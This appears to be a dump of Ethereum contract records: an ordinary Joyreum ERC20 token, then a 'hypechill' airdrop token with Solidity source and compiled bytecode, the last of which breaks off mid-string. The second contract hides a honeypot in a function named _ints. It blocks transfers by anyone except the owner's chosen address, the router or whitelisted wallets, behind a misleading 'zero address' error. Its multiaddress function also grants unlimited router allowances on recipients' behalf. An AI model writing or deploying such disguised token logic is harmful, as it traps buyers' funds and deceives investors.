contract Joyreum is BurnableToken, HasNoEther {
string public constant name = "Joyreum";
string public constant symbol = "JOY";
uint8 public constant decimals = 18;
uint256 constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function Joyreum() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function multiTransfer(address[] recipients, uint256[] amounts) public {
require(recipients.length == amounts.length);
for (uint i = 0; i < recipients.length; i++) {
transfer(recipients[i], amounts[i]);
}
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f3578063095ea7b31461018157806318160ddd146101db5780631e89d5451461020457806323b872dd1461029e578063313ce5671461031757806342966c6814610346578063661884631461036957806370a08231146103c35780638da5cb5b1461041057806395d89b41146104655780639f727c27146104f3578063a9059cbb14610508578063d73dd62314610562578063dd62ed3e146105bc578063f2fde38b14610628575b34156100f157600080fd5b005b34156100fe57600080fd5b610106610661565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014657808201518184015260208101905061012b565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018c57600080fd5b6101c1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061069a565b604051808215151515815260200191505060405180910390f35b34156101e657600080fd5b6101ee61078c565b6040518082815260200191505060405180910390f35b341561020f57600080fd5b61029c60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610792565b005b34156102a957600080fd5b6102fd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107fd565b604051808215151515815260200191505060405180910390f35b341561032257600080fd5b61032a610813565b604051808260ff1660ff16815260200191505060405180910390f35b341561035157600080fd5b6103676004808035906020019091905050610818565b005b341561037457600080fd5b6103a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061097b565b604051808215151515815260200191505060405180910390f35b34156103ce57600080fd5b6103fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0c565b6040518082815260200191505060405180910390f35b341561041b57600080fd5b610423610c55565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047057600080fd5b610478610c7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b857808201518184015260208101905061049d565b50505050905090810190601f1680156104e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104fe57600080fd5b610506610cb4565b005b341561051357600080fd5b610548600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d88565b604051808215151515815260200191505060405180910390f35b341561056d57600080fd5b6105a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9c565b604051808215151515815260200191505060405180910390f35b34156105c757600080fd5b610612600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f98565b6040518082815260200191505060405180910390f35b341561063357600080fd5b61065f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061101f565b005b6040805190810160405280600781526020017f4a6f797265756d0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000815183511415156107a457600080fd5b600090505b82518110156107f8576107ea83828151811015156107c357fe5b9060200190602002015183838151811015156107db57fe5b90602001906020020151610d88565b5080806001019150506107a9565b505050565b600061080a848484611177565b90509392505050565b601281565b6000808211151561082857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087657600080fd5b3390506108cb82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109238260005461153690919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a8c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b20565b610a9f838261153690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4a4f59000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610d8657fe5b565b6000610d94838361154f565b905092915050565b6000610e2d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110b757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111b457600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561120257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128d57600080fd5b6112df82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061144682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561154457fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561158c57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115da57600080fd5b61162c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561178757fe5b80915050929150505600a165627a7a723058202260251018d76faad3f4e541032c73c69644783b8994058547019b130576d4cc0029
|
{"success": true, "error": null, "results": {}}
| 8,978 |
0xf3574adbdf91b515c924dd29e4e11f2b4b077457
|
// MYWebsite: hypechill.fund
// /_ _ _ _ /_ .//
// / //_//_//_'/_ / ///
// _//
//
// hypechill_contract erc20chilldrops remix deploy_mainnet sol.0.6.6+
// by RaptorElite_Dev__
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a